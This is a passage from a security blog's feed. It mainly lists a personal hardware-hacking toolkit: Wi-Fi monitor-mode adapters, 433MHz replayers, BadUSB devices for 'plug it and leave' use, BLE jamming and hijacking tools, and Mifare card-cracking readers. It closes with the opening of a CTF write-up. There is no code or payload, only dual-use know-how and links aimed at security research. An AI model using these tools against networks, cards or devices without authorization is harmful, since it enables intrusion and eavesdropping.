    &lt;p&gt;For wardriving&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; purposes (2.4Ghz WiFi networks and Bluetooth devices) I have built a wardriver.uk based on the very detailed and nicely explained project by Joseph Hewitt, which outputs &lt;a href=&quot;https://wigle.net/&quot;&gt;Wigle compatible files&lt;/a&gt;. You will need two ESP32 modules (ESP32-DevKitC V4 with ESP32-WROOM-32U is recommended), a GPS module, a SIM800L GSM module, an i2c LCD, a DS18B20 temperature sensor, and an SPI micro SD card reader/writer. I did wire it with some protoboards in the first version, then I ordered the PCB designed by the author. You can &lt;a href=&quot;https://www.tindie.com/products/jhewitt_net/portable-esp32-wardriver-pcb-only/&quot;&gt;order the PCBs from the author&lt;/a&gt; if you want to support the project.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;[DIY] &lt;a href=&quot;https://github.com/kripthor/io433&quot;&gt;io433 by kripthor&lt;/a&gt;&lt;/p&gt;

    &lt;center&gt;&lt;img src=&quot;/images/hwinventory/io433.jpg&quot; alt=&quot;io433&quot; style=&quot;max-width:55%;text-align:center;&quot; /&gt;&lt;/center&gt;

    &lt;p&gt;IO433 is a ESP32 (TTGO T-Display) &amp;amp; CC1101 based 433Mhz sniffer and re-player for ASK-OOK signals. Building instructions are available in the repository of the project as well as the firmware and gerber files for the PCBs (although I built one on top of a generic protoboard). It is a nice tool for playing around with 433Mhz based devices such as cheap weather monitors, door rings, and the like.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://openwrt.org/toh/zsun/wifi-card-reader&quot;&gt;Zsun wifi card reader&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;Zsun is an Atheros AR9331 based wireless card reader with 64 MiB RAM and 16 MiB SPI flash. The specs are &lt;a href=&quot;https://openwrt.org/toh/zsun/wifi-card-reader&quot;&gt;enough to run OpenWrt&lt;/a&gt;, which can make the device a tinny wireless AP / client / repeater.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.gl-inet.com/products/gl-mt300n-v2/&quot;&gt;GL-MT300N-V2 Mini Smart Router&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A small and cheap travel router that runs OpenWRT (128MB RAM, 16MB Flash ROM), with two RJ45 Ethernet ports, (micro)USB charging with UART and some GPIOs available. It also has a nice physical VPN switch button and a easily clickable reset button (ideal to start over when you fail to configure OpenWrt properly).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;[DIY] &lt;a href=&quot;https://greatscottgadgets.com/throwingstar/&quot;&gt;Throwing Star LAN Tap&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;Throwing Star LAN Tap is a passive Ethernet tap (read-only access via J3 and J4 ports), able to monitor 10BASET and 100BASETX networks. You cna build one by &lt;a href=&quot;https://github.com/greatscottgadgets/throwing-star-lan-tap&quot;&gt;printing the PCBs and soldering some capacitors and RJ45 ports (instructions available)&lt;/a&gt;. Otherwise you can also &lt;a href=&quot;https://greatscottgadgets.com/throwingstar/&quot;&gt;buy it in a ready to use package&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.tp-link.com/pt/home-networking/adapter/tl-wn722n/&quot;&gt;TP-Link TL-WN722N V2.0&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;The good’old and cheap 2.4Ghz Wi-Fi dongle that allows you to enable monitor mode&lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; to do Wi-Fi mischief. Normally it is recommended to get the V1 version because it works out of the box (Atheros AR9271) but you can also &lt;a href=&quot;https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/&quot;&gt;make it work in other hardware revisions&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://aliexpress.com/item/1005005326333537.html&quot;&gt;RTL8812au-based dual-band AC1200 WiFi adapter&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A &lt;a href=&quot;https://github.com/aircrack-ng/rtl8812au&quot;&gt;RTL8812au-based&lt;/a&gt; dual-channel Wi-Fi adapter similar to &lt;a href=&quot;https://alfa-network.eu/awus036ach-c&quot;&gt;Alfa Networks AWUS036ACH&lt;/a&gt; (as in uses the same chipset). This chipset allows monitor mode&lt;sup id=&quot;fnref:3:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; in both channels, thus ideal to use in offensive Wi-Fi adventures.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.nooelec.com/store/sdr/sdr-receivers/nesdr-smartee.html&quot;&gt;Nooelec NESDR SMArTee v2&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A cheap and reliable SDR with RTL2832U Demodulator/USB interface IC and a R820T2 tuner IC. I advise to buy a bundler with some antennas which allows you to do some &lt;a href=&quot;/radio/space/sdr/2021/09/28/sats-and-radio-notes&quot;&gt;nice experiments out of the box&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;device-inspection-debug-tools-and-programmers&quot;&gt;Device inspection (debug tools and programmers)&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.az-delivery.de/en/products/ftdi-adapter-ft232rl&quot;&gt;FT232 USB for TTL Serial Adapter for 3.3V and 5V&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;FT232 USB UART Board is the go-to solution for USB-to-UART serial conversions. Different models have similar features. I carry two, one older model with miniUSB connection and another with USB A connection, and always together with a bunch of jumpers.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.fischl.de/usbasp/&quot;&gt;USBASP 2.0 based on ATmega8A&lt;/a&gt;&lt;/p&gt;

    &lt;center&gt;&lt;img src=&quot;/images/hwinventory/usbasp.jpg&quot; alt=&quot;screw heads&quot; style=&quot;max-width:35%;text-align:center;&quot; /&gt;&lt;/center&gt;

    &lt;p&gt;USBasp is a USB in-circuit programmer for Atmel AVR controllers which are commonly used in smart devices and other controllers. Firmware is provided by &lt;a href=&quot;https://www.fischl.de/&quot;&gt;Thomas Fischl&lt;/a&gt; which has other cool projects.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.adafruit.com/product/2548&quot;&gt;Dongle ST-LINK V2 STM8 STM32&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A ST-Link-Compatible Programmer &amp;amp; Emulator / Debugging dongle supporting both STM8 and STM32 bit processors series, that, similar to Arduino, are widely used in smart appliances.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.aliexpress.com/i/3256805645604603.html?gatewayAdapt=4itemAdapt&quot;&gt;YS-IRTM 5V NEC Infrared UART transceiver&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;It consists of a dual 38KHz 940nm infrared (IR) TX/RX LEDs and a micro controller which provides a UART interface. Can not be used directly via USB, thus it is recommended to connect it via a generic micro-controller. You can use the following as a &lt;a href=&quot;https://github.com/mcauser/micropython-ys-irtm&quot;&gt;reference&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.amazon.com/Advanced-Bluetooth-Scanner-Diagnostic-Android/dp/B09B2RNJH5&quot;&gt;ELM327 V1.5 OBD2 Bluetooth Scanner and Diagnostic Tool&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A generic OBD-II protocol reader that works with a lot of car models and brands. Mostly unused in my case as I did not delve into car hacking, but I do recommend a workshop for beginners like me just to understand the “world”: &lt;a href=&quot;https://www.youtube.com/watch?v=NzgvRictI9o&quot;&gt;Remoticon 2020 // Learn How to Hack a Car Workshop&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.amazon.com/KeeYees-SOIC8-EEPROM-CH341A-Programmer/dp/B07SHSL9X9&quot;&gt;CH341A USB Programmer with Adapters&lt;/a&gt;&lt;/p&gt;

    &lt;center&gt;&lt;img src=&quot;/images/hwinventory/ch341a.jpg&quot; alt=&quot;ch341a&quot; style=&quot;max-width:55%;text-align:center;&quot; /&gt;&lt;/center&gt;

    &lt;p&gt;The CH341A USB Programmer supports most of the 24/25 series SOP8 chips (commonly used for BIOS), and can be used to back up, erase and program such chips. I have successfully used it in the past to &lt;a href=&quot;/hardware/msi/bios/2020/05/10/back-from-the-dead.html&quot;&gt;recover laptops from corrupted BIOS issues&lt;/a&gt;. I also &lt;a href=&quot;https://www.thingiverse.com/thing:2192211&quot;&gt;3D printed a yellow case for it&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.amazon.com/Ferwooh-Analyzer-Channel-Colourful-Debugging/dp/B0CYZG4WN4&quot;&gt;USB Logic Analyzer 24MHz 8 Channels&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A generic low-budget logical analyzer that features 8 Channels and, theoretically, can go up to 24 MHz (but not really in practice). It is good enough for most low-baudrate analysis, but can struggler with higher baudrate (that are becoming common). Nonetheless a good tool to keep around, specially if you don’t want to invest into a &lt;a href=&quot;https://www.saleae.com/&quot;&gt;Saleae&lt;/a&gt;. Also, it is compatible with &lt;a href=&quot;https://www.saleae.com/&quot;&gt;Saleae Logic 2 software&lt;/a&gt;, and, theoretically, with &lt;a href=&quot;https://sigrok.org/wiki/Main_Page&quot;&gt;sigrok&lt;/a&gt; but I didn’t manage to put my version working correctly with it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;[DIY] &lt;a href=&quot;https://mitchelectronics.co.uk/resources/logic-probe-kit-instructions/&quot;&gt;Logic probe&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A simple and quick to use probe that you can build (several kits available) that can be useful to probe circuits when you do not have a multimeter/logic analyzer at hand. You just connect it to a REF voltage source and GND, and then the 3 LEDs will tell the rest, if you have a Red Only it is a Logic 0, a Yellow Only is Floating, a Green Only is a Logic 1 and All LEDs means an oscillating signal.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://meters.uni-trend.com/product/ut139-series/&quot;&gt;UNI-T UT139C Multimeter&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A good multimeter is always a good investment (but, still, you don’t need to go to the most expensive ones). Some of the most useful features beyond the trivial ones, from my perspective, are the frequency and temperature (℃/℉) readings.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;smart-cards&quot;&gt;Smart cards&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.aliexpress.com/i/2251832622613576.html&quot;&gt;SIM card converter to Smartcard IC&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A SIM card to Smartcard IC converter and extension, supporting standard, micro and nano SIM cards.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.aliexpress.com/item/1005006742238113.html&quot;&gt;PN532 NFC RFID IC Card Reader Module 13.56MHz with USB Port&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A &lt;a href=&quot;https://github.com/nfc-tools/libnfc&quot;&gt;libNFC&lt;/a&gt; compatible board that can be used to read/write to NFC cards, including Mifare classic cards. You can also keep some empty (UID-writable) cards around. There is a good &lt;a href=&quot;https://firefart.at/post/how-to-crack-mifare-classic-cards/&quot;&gt;blogpost by Christian Mehlmauer on how to use the libNFC to crack Mifare classic cards&lt;/a&gt;, and &lt;a href=&quot;https://medium.com/@lp1/how-to-hack-mifare-classic-nfc-cards-69c8edcbe1e7&quot;&gt;How to hack Mifare Classic NFC cards by lp1&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.amazon.com/Magnetic-Stripe-3-Track-Bi-Directional-Manual-Swipe/dp/B0C6181G3G&quot;&gt;Generic Magstripe Reader&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A cheap and generic magnetic stripe reader that can be used for research and cool projects such as &lt;a href=&quot;https://samy.pl/magspoof/&quot;&gt;magspoof&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;generic-boards&quot;&gt;Generic boards&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://geekworm.com/products/raspberry-pi-zero-w-badusb-usb-a-addon-board-usb-connector-case-kit&quot;&gt;Raspberry Pi Zero W with USB A add-on&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A &lt;a href=&quot;https://www.raspberrypi.com/products/raspberry-pi-zero-w/&quot;&gt;Raspberry Pi Zero W&lt;/a&gt; is a full computer on a stick, capable of running several Linux distros (no more intro needed). The USB A addon board allows it to be plugged to any USB port, and, more than that, to act as a U disk or even as a BadUSB&lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; with &lt;a href=&quot;https://github.com/RoganDawes/P4wnP1_aloa&quot;&gt;P4wnP1 A.L.O.A.&lt;/a&gt;. P4wnP1 A.L.O.A. allows the Pi to have Plug&amp;amp;Play USB device emulation, HIDScript and Bluetooth and WiFi offensive analysis. Other use-cases include the known &lt;a href=&quot;https://pwnagotchi.ai/&quot;&gt;Pwnagotchi&lt;/a&gt; for cracking Wi-Fis either through passive sniffing or by performing deauthentication and association attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.nordicsemi.com/Products/Development-hardware/nRF52840-Dongle&quot;&gt;nRF52840 Dongle&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;nRF52840 Dongle is a small USB dongle that supports Bluetooth 5.4, Bluetooth mesh, Thread, Zigbee, 802.15.4, ANT and 2.4 GHz proprietary protocols. It is useful to probe into this protocols, being known for the ability to &lt;a href=&quot;https://github.com/RCayre/injectable-firmware&quot;&gt;easily eavesdrop Bluetooth Low Energy communications and perform multiple active attacks based on InjectaBLE strategy&lt;/a&gt;. It can also work as a security key using &lt;a href=&quot;https://github.com/google/OpenSK&quot;&gt;Google OpenSK&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://shop.m5stack.com/products/esp32-basic-core-lot-development-kit-v2-7&quot;&gt;M5Stack Core&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;An ESP32-based (Bluetooth + Wi-Fi) developer board in a really nice packaging, with built-in battery, 3 physical buttons and 20*240 IPS screen. One cool use-case is the &lt;a href=&quot;https://github.com/G4lile0/ESP32-WiFi-Hash-Monster&quot;&gt;ESP32 WiFi Hash Monster&lt;/a&gt; which can be used to capture all the EAPOL / PMKID packets on a SD Card for further analysis. Other use-case is the &lt;a href=&quot;https://github.com/justcallmekoko/MarauderCentauri&quot;&gt;MarauderCentauri&lt;/a&gt; for WiFi/Bluetooth offensive and defensive tools; you can also buy the full-fledge custom hardware at &lt;a href=&quot;https://www.justcallmekokollc.com/product/esp32-marauder-v6/&quot;&gt;justcallmekoko store&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.amazon.com/Digispark-Kickstarter-ATTINY85-Arduino-Development/dp/B01MQOPY5C&quot;&gt;DigiSpark Attiny85&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A &lt;em&gt;tiny tiny&lt;/em&gt; microcontroller with an USB A port that can be used as a BadUSB&lt;sup id=&quot;fnref:2:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;. It is so cheap that it is good for &lt;em&gt;plug it and leave&lt;/em&gt; situations. A good tutorial for it done by &lt;a href=&quot;https://0x00sec.org/t/a-complete-beginner-friendly-guide-to-the-digispark-badusb/8002/2&quot;&gt;Baud on 0x00sec&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;http://microbit.org/&quot;&gt;Micro:bit&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;With 3 units you can sniff on all Bluetooth LE advertising channel, and with &lt;a href=&quot;https://github.com/virtualabs/btlejack&quot;&gt;BtleJack&lt;/a&gt; you can sniff, jam and hijack connections.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.wemos.cc/en/latest/d1/index.html&quot;&gt;Wemos D1 mini / ESP8266&lt;/a&gt;, &lt;a href=&quot;https://www.raspberrypi.com/products/raspberry-pi-pico/&quot;&gt;Raspberry Pi Pico&lt;/a&gt;, &lt;a href=&quot;https://store.arduino.cc/products/arduino-nano&quot;&gt;Arduino Nano&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;Some of the boards that I typically carry around, some with Pin Headers soldered, others not.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;screwdrivers-lockpick-and-others&quot;&gt;Screwdrivers, Lockpick and others&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.mi.com/global/support/article/KA-05106&quot;&gt;Mi x Wiha Precision Screwdriver (manual)&lt;/a&gt;&lt;/p&gt;

    &lt;center&gt;&lt;img src=&quot;/images/hwinventory/screwdriver.png&quot; alt=&quot;screw heads&quot; style=&quot;max-width:65%;text-align:center;&quot; /&gt;&lt;/center&gt;

    &lt;p&gt;A generic precision screwdriver kit supporting most models of screw heads. Compact in size which is ideal for carry in a backpack.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.amazon.com/WILLBOND-Multi-Functional-Utilities-Electric-Cupboard/dp/B072LPLKP6&quot;&gt;4-Way Multi-Functional Utilities Key&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.amazon.com/Professional-Security-Padlock-Practice-Stainless/dp/B0CSYFB7LZ&quot;&gt;Generic Lockpick set with Practice locks&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.nytimes.com/wirecutter/reviews/best-multitool/&quot;&gt;Multi-tool&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A multi-tool is always nice to have, and while I don’t recommend any in specific (any Leatherman or Gerber should be more than enough), any that you buy should have, at least: (1) pliers, (2) a sharp-enough cutting blade / knife, (3) some large bit driver, and (4) a bottle opener!&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;random&quot;&gt;Random&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://1-life.eu/?product=1life-usbhub-3&quot;&gt;1Life usb:hub 3 with RTL8153 Gigabit Ethernet Adapter&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;A generic USB extension hub with a Gigabit Ethernet Adapter (based on the RTL8153) is a must have for when you have few USB ports or no RJ45 port. It is also useful if you want to connect to more than one physical network at the same time.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.kiwi-electronics.com/en/rii-wireless-mini-x1-with-touchpad-2-4ghz-qwerty-2565&quot;&gt;Rii Wireless Mini X1 with Touchpad - 2.4GHz - QWERTY&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;An all-around wireless keyboard which is useful for a range of scenarios, e.g., configuring Raspberry Pi’s.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;[DIY] &lt;a href=&quot;https://www.aliexpress.com/item/1005006235506418.html&quot;&gt;Small IC Test Clips&lt;/a&gt;, &lt;a href=&quot;https://www.aliexpress.com/item/1005005832969596.html&quot;&gt;Pogo pin clamps&lt;/a&gt; and &lt;a href=&quot;https://www.thingiverse.com/thing:2318886&quot;&gt;PCB Workstation with Needle-Probes&lt;/a&gt;&lt;/p&gt;

    &lt;center&gt;&lt;img src=&quot;/images/hwinventory/probe.jpg&quot; alt=&quot;3d probe&quot; style=&quot;max-width:65%;text-align:center;&quot; /&gt;&lt;/center&gt;

    &lt;p&gt;Useful when probing PCBs and connecting to debug ports / test points. I totally recommend the 3D printed PCB workstation as it works for most PCBs and smallish traces and connections.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://joy-it.net/en/products/JT-TC66C&quot;&gt;Generic USB Multimeter&lt;/a&gt;&lt;/p&gt;

    &lt;p&gt;Useful to troubleshoot USB connections (voltage and amperage). &lt;a href=&quot;https://joy-it.net/en/products/JT-UM25C&quot;&gt;More recent models (e.g., UM25C)&lt;/a&gt; also allow monitoring via Bluetooth connection.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Large assortment of cables and adapters&lt;/p&gt;

    &lt;p&gt;There is no such thing as too many cables, as there is no such thing as too many adapters. A few that I recommend to have always around:&lt;/p&gt;
    &lt;ul&gt;
      &lt;li&gt;USB: A-&amp;gt;C, C-&amp;gt;A, C&amp;lt;-&amp;gt;C, A-&amp;gt;micro, A-&amp;gt;nano, USB OTG, A&amp;lt;-&amp;gt;Lightning&lt;/li&gt;
      &lt;li&gt;Video: HDMI&amp;lt;-&amp;gt;HDMI, HDMI&amp;lt;-&amp;gt;mini HDMI, VGA&amp;lt;-&amp;gt;HDMI&lt;/li&gt;
      &lt;li&gt;RJ45&lt;/li&gt;
      &lt;li&gt;Assortment of jumpers (male-&amp;gt;female, male&amp;lt;-&amp;gt;male, female&amp;lt;-&amp;gt;female)&lt;/li&gt;
      &lt;li&gt;MicroSD to SD adapter and SD card reader&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Generic USB LED lamp (useful for low-light situation)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Assortment of USB Pens&lt;/p&gt;

    &lt;p&gt;This keeps to be one of the things that I use the most (from live boots to install new OSes). You do not need to go to the fancy ones with USB-C and such if you keep some adapters at hand. &lt;a href=&quot;https://ventoy.net/en/index.html&quot;&gt;Ventoy&lt;/a&gt; is a nice tool to have several ISOs in the same drive and boot from them when needed. I also keep some Linux live USBs (with something such as Debian Stable), and &lt;a href=&quot;https://clonezilla.org/&quot;&gt;Clonezilla&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.amazon.com/Anker-Ultra-Compact-High-Speed-VoltageBoost-Technology/dp/B07QXV6N1B/&quot;&gt;Powerbank (at least 10000mAh)&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Laptop&lt;/p&gt;

    &lt;p&gt;I left this to the end on purpose. Most probably you are thinking on a high-performance laptop. While that would be nice, for most of the cases one cheap, second hand, Thinkpad (or any other reliable brand) will suffice. I now have a Thinkpad Y370 (~250e) and a Thinkpad X240 (~200e), and the only thing that will bother you the most is RAM if you have less than 8Gb of it. Other than that just use &lt;em&gt;the cloud&lt;/em&gt;. &lt;a href=&quot;https://github.com/semihucann/hash_cracking_with_gpu&quot;&gt;Google Python Notebooks are nice&lt;/a&gt;, but there are several cheap VPS machines that you can rent or use freely if needed (&lt;em&gt;riding on free credits&lt;/em&gt;).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Backpack and bags&lt;/p&gt;

    &lt;p&gt;All this stuff needs to be carried (hopefully not everything at once). For that I recommend any rucksack-like backpack such as &lt;a href=&quot;https://rivacase.com/en/collections/tegel/8461-black-Travel-Laptop-Backpack-173%E2%80%9D&quot;&gt;this one&lt;/a&gt;. I would not recommend the &lt;em&gt;military-grade&lt;/em&gt; ones, specially if you don’t want unnecessary attention (e.g., airports). Also, some small bags with compartments are useful, such as this &lt;a href=&quot;https://www.amazon.com/Cocoon-CPG4BK-Grid-It-Organizer-Black/dp/B003OXJL5K&quot;&gt;one&lt;/a&gt; or this &lt;a href=&quot;https://www.amazon.com/Electronics-Organizer-Watreproof-Electronic-Accessories/dp/B07PTP17LK&quot;&gt;one&lt;/a&gt;. And, always carry some &lt;a href=&quot;https://www.amazon.com/Management-Self-fastening-Anything-Customize-Organization/dp/B095JTVJJL&quot;&gt;velcro roll&lt;/a&gt; (that you can cut to size) which is always useful to tie things together.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;footnotes&quot;&gt;Footnotes&lt;/h3&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;em&gt;Wardriving is the act of searching for Wi-Fi wireless networks as well as cell towers, usually from a moving vehicle, using a laptop or smartphone.&lt;/em&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Wardriving&quot;&gt;Wikipedia&lt;/a&gt; &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;em&gt;Monitor mode, or RFMON (Radio Frequency MONitor) mode, allows a computer with a wireless network interface controller (WNIC) to monitor all traffic received on a wireless channel. Unlike promiscuous mode, which is also used for packet sniffing, monitor mode allows packets to be captured without having to associate with an access point or ad hoc network first.&lt;/em&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Monitor_mode&quot;&gt;Wikipedia&lt;/a&gt; &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt; &lt;a href=&quot;#fnref:3:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;USB device has an in-built firmware feature that allows itself to be disguised as a human interface device (USB HID), such as a keyboard, and thus inject payloads via keystrokes. &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt; &lt;a href=&quot;#fnref:2:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Sun, 05 May 2024 00:00:00 +0000</pubDate>
        <link>https://jpdias.me/security/2024/05/05/hardware-hacking-inventory.html</link>
        <guid isPermaLink="true">https://jpdias.me/security/2024/05/05/hardware-hacking-inventory.html</guid>
        
        <category>security</category>
        
        <category>inventory</category>
        
        <category>hacking</category>
        
        <category>toolbox</category>
        
        
        <category>security</category>
        
      </item>
    
      <item>
        <title>OPOSEC XMAS CTF Challenge Christmas 2022 Write-up</title>
        <description>&lt;p&gt;Well, I guess it is better late than never, so almost four months after the closing of the OPOSEC XMAS CTF Challenge Christmas 2022 this is my write-up on how I did manage to solve all the challenges and finish in the 4&lt;sup&gt;th&lt;/sup&gt; place.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;There was a total of 13 challenges ranging from trivia to network categories.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#trivia&quot;&gt;Trivia (2)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#crypto&quot;&gt;Crypto (2)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web&quot;&gt;Web (2)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#misc&quot;&gt;Misc (4)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#network&quot;&gt;Network (3)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;trivia&quot;&gt;Trivia&lt;/h2&gt;

&lt;h3 id=&quot;who-100-pts&quot;&gt;Who? (100 pts)&lt;/h3&gt;

